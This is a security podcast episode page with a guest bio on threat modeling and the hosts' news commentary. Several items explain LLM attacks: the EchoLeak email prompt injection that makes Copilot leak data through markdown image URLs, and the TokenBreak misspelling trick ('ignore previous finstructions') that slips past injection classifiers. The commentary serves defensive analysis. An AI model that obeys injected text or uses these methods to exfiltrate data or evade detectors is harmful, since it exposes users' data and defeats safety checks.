What makes a threat modeling process effective? Do you need a long list of threat actors? Do you need a long list of terms? What about a short list like STRIDE? Has an effective process ever come out of a list? Farshad Abasi joins our discussion as we explain why the answer to most of those questions is No and describe the kinds of approaches that are more conducive to useful threat models.
Resources:
- https://www.eurekadevsecops.com/agile-devops-and-the-threat-modeling-disconnect-bridging-the-gap-with-developer-insights/
- https://www.threatmodelingmanifesto.org
- https://kellyshortridge.com/blog/posts/security-decision-trees-with-graphviz/
In the news, learning from outage postmortems, an EchoLeak image speaks a 1,000 words from Microsoft 365 Copilot, TokenBreak attack targets tokenizing techniques, Google's layered strategy against prompt injection looks like a lot like defending against XSS, learning about code security from CodeAuditor CTF, and more!
Farshad Abasi is the Founder and CEO of Forward Security, bringing over 27 years of industry experience to the forefront of cybersecurity innovation. His professional journey includes key technical roles at Intel and Motorola, evolving into senior security positions as the Principal Security Architect for HSBC Global, and Head of IT Security for the Canadian division. Farshad’s commitment to the field extends to his role as an instructor at BCIT, where he imparts his wealth of knowledge to the next generation of cybersecurity experts.
At Forward Security, Farshad leads the development of the Eureka DevSecOps platform and the delivery of comprehensive security services. His diverse experience, ranging from startups to large enterprises, informs Forward Security’s approach to delivering adaptive, reliable solutions.
Engaged actively in the cybersecurity community through roles in BSides Vancouver/MARS, OWASP Vancouver/AppSec PNW, and as a CISSP designate, Farshad’s vision and leadership continue to drive the industry forward. Under his guidance, Forward Security is setting new standards in application and cloud security
Mike Shema
- Breaking down ‘EchoLeak’, the First Zero-Click AI Vulnerability Enabling Data Exfiltration from Microsoft 365 Copilot
Another week, another new name for an attack technique against LLMs. This week we have, "LLM Scope Violation".
I'm not sold on the need for a new name here, but I do like the scenario they crafted.
On the LLM side, the flaw boils down to an LLM interpreting a prompt from text (an email in this case) where it was either not expected or not intended to. In other words, it's another case of a code and data melange because LLMs tokenize anything and everything.
The more interesting security barriers appear to be getting the LLM to produce markdown that creates an image, because a browser will automatically fetch an image (hence the zero-click angle) and an attacker can exfiltrate data in the URL of that request.
What stood out to me were Microsoft's awareness of these security boundaries and potential misuse. They enforced privilege escalation (the LLM can only retrieve data accessible to the victim), they attempted to control link creation (but somehow missed markdown's format for link refs? that's not a rare feature), and they restricted image sources with CSP (I have to begrudgingly acknowledge CSP establishing a useful security boundary here).
Overall, it looks like a strong design that was weakened by an implementation detail. That's not a bad thing, since I wouldn't guess that the design needs to be completely thrown away to address such a flaw. This feels very much like an XSS-style attack, where the countermeasures focus on inoculating output to avoid creating elements that trigger an undesired browser action. It just so happens to be an LLM-related payload to an LLM-related content generator.
- Google Online Security Blog: Mitigating prompt injection attacks with a layered defense strategy
This reads very much like a strategy for defending against XSS. I particularly like step 3, which is the basic approach of output sanitization. (To be fair, "basic" can still have complex edge cases. I've done my own lists of XSS payloads and there are far more comprehensive ones.)
Steps 4 and 5 involve engaging the user as part of the security measures. When I see steps like this, I always look to see how much of the solution merely shifts the burden of scrutiny onto the user vs. how much it presents the user with an informed choice. Importantly, that informed choice should be absent of jargon and be a last resort after more automated steps are taken.
Obviously, I just about always equate prompt injection with XSS, but this article shows how it's equally adjacent to spam and phishing. If ML classifiers can mostly identify spam and phishing, that's a good start for prompt injection. I'd love to know if the "99.9%" accuracy of the spam/phishing classifier is a rhetorical value or a measured one. Three nines against billions of emails is impressive! But such large numbers mean 0.01% still represents a significant potential attack surface of possible prompts.
- The TokenBreak Attack
Let's have another new name for an LLM attack technique! This one is TokenBreak.
I admit I appreciate the novelty and focus of this one. It's grounded in a wonderful example that shows the potential abuse of how an LLM tokenizes text.
The article explains how an inconsequential typo (to humans) in trivial prompt injection payload affects an LLM's attempt to identify and block such prompts.
You want an LLM to identify that a phrase beginning with "ignore previous finstructions" (note the spurious "f") is a prompt injection preamble. You want it to identify the misspelled "instructions" (omit the "f"). You don't want it to classify the tokens as "fin" + "struct" + "ions", even if those are legit tokens and words.
So, yeah, this made me smile in its cleverness, how it targets a fundamental property of a model (which also means some models are immune!), and how it teaches something useful about the construction of LLMs.
If you'd like to dive into details, check out the PDF.
- Bruteforcing the phone number of any Google user
I love that the path to discovering this began with disabling JavaScript in the browser just to see what would still work.
A simple, clear writeup of a flaw based on a simple, ancient idea of brute force. It's great to see this kind of attention to detail in finding flaws and a well-deserved $5,000 bounty!
- Code Auditor CTF
Plenty of examples of insecure code to keep you occupied for several months.
Of course, everyone will be trying LLMs against it to see how they fare. That's fine. But I'd user this as a chance to apply your development skills against your security knowledge. In other words, learn a programming language, write something (however small) in that language, then start to look at how security flaws manifest. That's a great way to build a personal pattern recognition for insecure code and "code smells".
The CTF is open source. Check out the repo.
- Software Security Code of Practice
If you didn't have enough inspiration from CISA's Secure by Design principles. Here's another 14 principles across 4 themes. If you're trying to start an appsec program, they can provide broad inspiration for areas and activities to include.
- [Design] NIST Offers 19 Ways to Build Zero Trust Architectures
Reading and reasoning about these architectures can be a great way to practice threat modeling. Why do you prefer a particular approach? How does it address the threats you're worried about? How would your org implement it?
- [Design] A bit more on Twitter/X’s new encrypted messaging – A Few Thoughts on Cryptographic Engineering
Informative insights on designing and implementing a protocol that has many strict security requirements.
See also:
- A massive internet outage is messing up Google Home, Spotify, and Snapchat | The Verge
I think the top 10 list of outage reasons starts with DNS misconfig, expired cert, and us-east-1. GCP seems to have gotten big enough to make it to that list now, too.
I included this for two reasons. For one, a boring-but-important side of security is availability. But that can also be more interesting once you start thinking about resiliency -- whether from an error, outage, or attack.
Google's writeup is here.
The other reason is encouraging transparency whenever we see it so that there's an increased expectation in both the presence and quality of postmortems after an incident. This wasn't a security incident, but it could still serve as an exercise in communications as well as revisiting architectures and dependencies. Cloudflare had a detailed writeup about the impact and how it will influence their design choices.
John Kinsella
- GCP outage mini-retro: Unit tests matter.
Google has a first pass at a retrospective of last Wednesday's global GCP outage out. tl;dr there really is value in having unit tests on your code. Glad they recovered quickly - this type of thing can happen to any of us.
- Was Apple’s “reasoning collapse”paper illusional?
Interesting counter argument to Apple's paper which we covered in last week's news: Is asking an LLM to solve a complex puzzle delusional? Should the user instead be asking the LLM for the code that would solve that problem, and then run it themselves? It seems like there were several human-imposed limitations on the examples that Apple used in their paper - but at least to me, their viewpoint is how I would also expect the LLMs to work.
Are we expecting too much?
(h/t 9to5mac)
